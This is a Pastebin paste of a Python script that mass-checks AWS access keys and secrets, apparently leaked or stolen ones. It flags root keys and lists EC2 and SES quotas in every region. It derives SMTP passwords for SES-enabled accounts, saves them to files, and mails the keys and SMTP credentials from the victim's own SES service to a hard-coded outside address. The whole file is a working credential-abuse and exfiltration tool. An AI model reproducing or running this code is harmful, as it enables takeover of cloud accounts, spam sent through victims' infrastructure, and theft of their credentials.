JamesBops

Untitled

Mar 4th, 2023
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.05 KB | None | 0 0
  1. import boto3
  2. import botocore
  3. import sys
  4. import hmac
  5. import hashlib
  6. import base64
  7.  
  8. class CreateSMTP:
  9.  
  10. def __init__(self, aws_secret: str):
  11. self.aws_secret = aws_secret
  12. self.DATE = "11111111"
  13. self.SERVICE = "ses"
  14. self.MESSAGE = "SendRawEmail"
  15. self.TERMINAL = "aws4_request"
  16. self.VERSION = 0x04
  17.  
  18.  
  19. def Sign(self, key, msg):
  20. return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()
  21.  
  22. def calculate_key(self, region: str):
  23. signature = self.Sign(("AWS4" + self.aws_secret).encode('utf-8'), self.DATE)
  24. signature = self.Sign(signature, region)
  25. signature = self.Sign(signature, self.SERVICE)
  26. signature = self.Sign(signature, self.TERMINAL)
  27. signature = self.Sign(signature, self.MESSAGE)
  28. signature_and_version = bytes([self.VERSION]) + signature
  29. SMTP_PASSWORD = base64.b64encode(signature_and_version)
  30. return SMTP_PASSWORD.decode('utf-8')
  31.  
  32. # save file
  33. def save_file(file_name, file_content):
  34. with open(file_name, "a") as file:
  35. file.write(file_content + "\n")
  36. file.close()
  37.  
  38.  
  39. def build_aws_key(key, secret):
  40. aws_key = key + "|" + secret + "|" + "us-east-1"
  41. return aws_key
  42.  
  43.  
  44. # configure aws
  45. def check_aws(key, secret):
  46. aws_key = build_aws_key(key, secret)
  47. try:
  48. session = boto3.Session(
  49. aws_access_key_id=key,
  50. aws_secret_access_key=secret,
  51. region_name="us-east-1"
  52. )
  53. check_identity = session.client("sts").get_caller_identity()
  54. check = Check(aws_key, session)
  55. if check_identity:
  56. save_file("valid_aws_key.txt", aws_key)
  57. if "root" in check_identity["Arn"]:
  58. print("Root Aws Key > " + key)
  59. save_file("root_aws_key.txt", aws_key)
  60. else:
  61. print("Valid Aws Key > " + key)
  62. check.check_ses(key, secret)
  63. check.check_ec2()
  64. except botocore.exceptions.ClientError as error:
  65. er = error.response["Error"]["Code"]
  66. if er == "InvalidClientTokenId":
  67. print("Invalid Aws Key > " + key)
  68. elif er == "SignatureDoesNotMatch":
  69. print("Signature Does Not Match > " + key)
  70. else:
  71. print(er + " > " + key)
  72. except Exception as e:
  73. print(str(e))
  74.  
  75. class Check(object):
  76.  
  77. def __init__(self, aws_key, session):
  78. self.aws_key = aws_key
  79. self.session = session
  80. self.TO_MAIL = "[email protected]"
  81. self.region_list = [
  82. "us-east-1",
  83. "us-east-2",
  84. "us-west-1",
  85. "us-west-2",
  86. "ap-south-1",
  87. "ap-southeast-1",
  88. "ap-southeast-2",
  89. "ap-northeast-1",
  90. "ap-northeast-2",
  91. "ap-northeast-3",
  92. "ca-central-1",
  93. "eu-south-1",
  94. "eu-central-1",
  95. "eu-north-1",
  96. "eu-west-1",
  97. "eu-west-2",
  98. "eu-west-3",
  99. "sa-east-1",
  100. "me-south-1",
  101. ]
  102.  
  103.  
  104. def check_ec2(self):
  105. print("\nChecking EC2 List Quotas in all regions\n")
  106. all_save = self.aws_key + "\n"
  107. for reg in self.region_list:
  108. try:
  109. service_quotas = self.session.client(
  110. "service-quotas", region_name=reg).list_service_quotas(ServiceCode="ec2")
  111. quotas_list = service_quotas["Quotas"]
  112. Result = "Region: " + reg + "\n"
  113. for quotas in quotas_list:
  114. if "All" in str(quotas):
  115. quotaname = quotas["QuotaName"]
  116. value = quotas["Value"]
  117. Result += quotaname + ": " + str(value) + "\n"
  118. all_save += Result + "\n"
  119. print(Result)
  120. except botocore.exceptions.ClientError as error:
  121. er = error.response["Error"]["Code"]
  122. if er == "AccessDeniedException":
  123. print("Access Denied for EC2\n")
  124. break
  125. elif er == "UnrecognizedClientException":
  126. print("Region " + reg + " locked for EC2\n")
  127. else:
  128. print(str(error))
  129. except botocore.exceptions.ReadTimeoutError:
  130. print("Cant connect to EC2 " + reg + " endpoint\n")
  131. except KeyboardInterrupt:
  132. continue
  133. except Exception as e:
  134. print(str(e))
  135. if "Region" in all_save:
  136. save_file("ec2_quotas.txt", all_save)
  137.  
  138. def check_ses(self, acc, sec):
  139. print("\nChecking SES in all regions\n")
  140. all_save = self.aws_key + "\n"
  141. for reg in self.region_list:
  142. try:
  143. sesv2 = self.session.client("sesv2", region_name=reg)
  144. check_account = sesv2.get_account()
  145. status = check_account["EnforcementStatus"]
  146. quota = check_account["SendQuota"]
  147. max24 = quota["Max24HourSend"]
  148. maxsend = quota["MaxSendRate"]
  149. sentlast = quota["SentLast24Hours"]
  150. # checking identity
  151. identity = ""
  152. identities = self.session.client(
  153. "ses", region_name=reg).list_identities()["Identities"]
  154. if len(identities) > 0:
  155. identity = "SES Identity : " + ", ".join(identities)
  156. else:
  157. identity = "No SES Identities found"
  158. Result = "Region: " + reg + "\nStatus: " + status + "\nMax24HourSend: " + \
  159. str(max24) + "\nMaxSendRate: " + str(maxsend) + \
  160. "\nSentLast24Hours: " + \
  161. str(sentlast) + "\n" + identity + "\n"
  162. all_save += Result + "\n"
  163. print(Result)
  164. if len(identities) > 0:
  165. if status != 'SHUTDOWN' and int(max24) != 200:
  166. SMTP_HOST = 'email-smtp.{}.amazonaws.com'.format(reg)
  167. SMTP_PORT = "587"
  168. SMTP_USERNAME = acc
  169. SMTP_PASSWORD = CreateSMTP(sec).calculate_key(reg)
  170. """SMTP INFORMATION"""
  171. SMTP_CREDS = '''\tSMTP INFORMATION
  172. SMTP HOST = {SMTP_HOST}
  173. SMTP PORT = {SMTP_PORT}
  174. SMTP USERNAME = {SMTP_USERNAME}
  175. SMTP PASSWORD = {SMTP_PASSWORD}
  176. FROM EMAIL = {FROM_MAIL}
  177.  
  178. '''
  179. SM = SMTP_CREDS.format(SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD, FROM_MAIL=(', '.join(identities) if len(identities) > 0 else 'No Domain Or FM Found'))
  180. print(SM)
  181. with open('SMTP_SES.txt', 'a') as smtp:
  182. smtp.write(SM)
  183. if len(identities) > 0:
  184. for FromMail in identities:
  185. if '@' in FromMail:
  186. FM = FromMail
  187. else:
  188. FM = 'admin@{}'.format(FromMail)
  189. SMTPS = SMTP_CREDS.format(FROM_MAIL=FM, SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD)
  190. Message = self.aws_key + '\n' + Result + '\n' + SMTPS
  191. self.SendEmail(self.session.client("ses", region_name=reg), FM, Message
  192. )
  193. else:
  194. pass
  195. else:
  196. pass
  197. except botocore.exceptions.ClientError as error:
  198. er = error.response["Error"]["Code"]
  199. if er == "AccessDeniedException":
  200. print("Access Denied for SESV2\n")
  201. break
  202. elif er == "UnrecognizedClientException":
  203. print("Region " + reg + " locked for SESV2\n")
  204. else:
  205. print(str(error))
  206. except botocore.exceptions.ReadTimeoutError:
  207. print("Cant connect to SESV2 " + reg + " endpoint\n")
  208. except KeyboardInterrupt:
  209. continue
  210. except Exception as e:
  211. print(str(e))
  212. if "Region" in all_save:
  213. save_file("sesv2_aws_key.txt", all_save)
  214.  
  215. def SendEmail(self, Client: boto3.Session, FROM_MAIL, MESSAGE):
  216. try:
  217. Client.send_email(
  218. Source=FROM_MAIL,
  219. Destination={
  220. 'ToAddresses': [
  221. self.TO_MAIL,
  222. ],
  223. },
  224. Message={
  225. 'Subject': {
  226. 'Data': 'AWS SES RESULT',
  227. 'Charset': 'UTF-8'
  228. },
  229. 'Body': {
  230. 'Text': {
  231. 'Data': MESSAGE,
  232. 'Charset': 'UTF-8'
  233. },
  234. }
  235. }
  236. )
  237. print('[+] Email Sent To {} From {} \n\n'.format(self.TO_MAIL, FROM_MAIL))
  238. except Exception:
  239. print("[-] Failed Sent To {} From {} \n\n".format(self.TO_MAIL, FROM_MAIL))
  240.  
  241.  
  242. def mass_check():
  243. try:
  244. list_key = open(input("Enter the file name: "), "r").read().splitlines()
  245. for key in list_key:
  246. qwe = key.split("|")
  247. check_aws(qwe[0], qwe[1])
  248. sys.exit(input("Press any key to exit"))
  249. except FileNotFoundError:
  250. print("File not found")
  251.  
  252.  
  253.  
  254. def single_check():
  255. global create_user
  256. key = input("Enter your aws key: ")
  257. secret = input("Enter your aws secret: ")
  258. check_aws(key, secret)
  259. sys.exit(input("Press any key to exit"))
  260.  
  261. if __name__ == "__main__":
  262. #{1: single_check, 2: mass_check}[int(input("1. Single Check\n2. Mass Check\n\nChoose : "))]()
  263. single_check()
Add Comment
Please, Sign In to add comment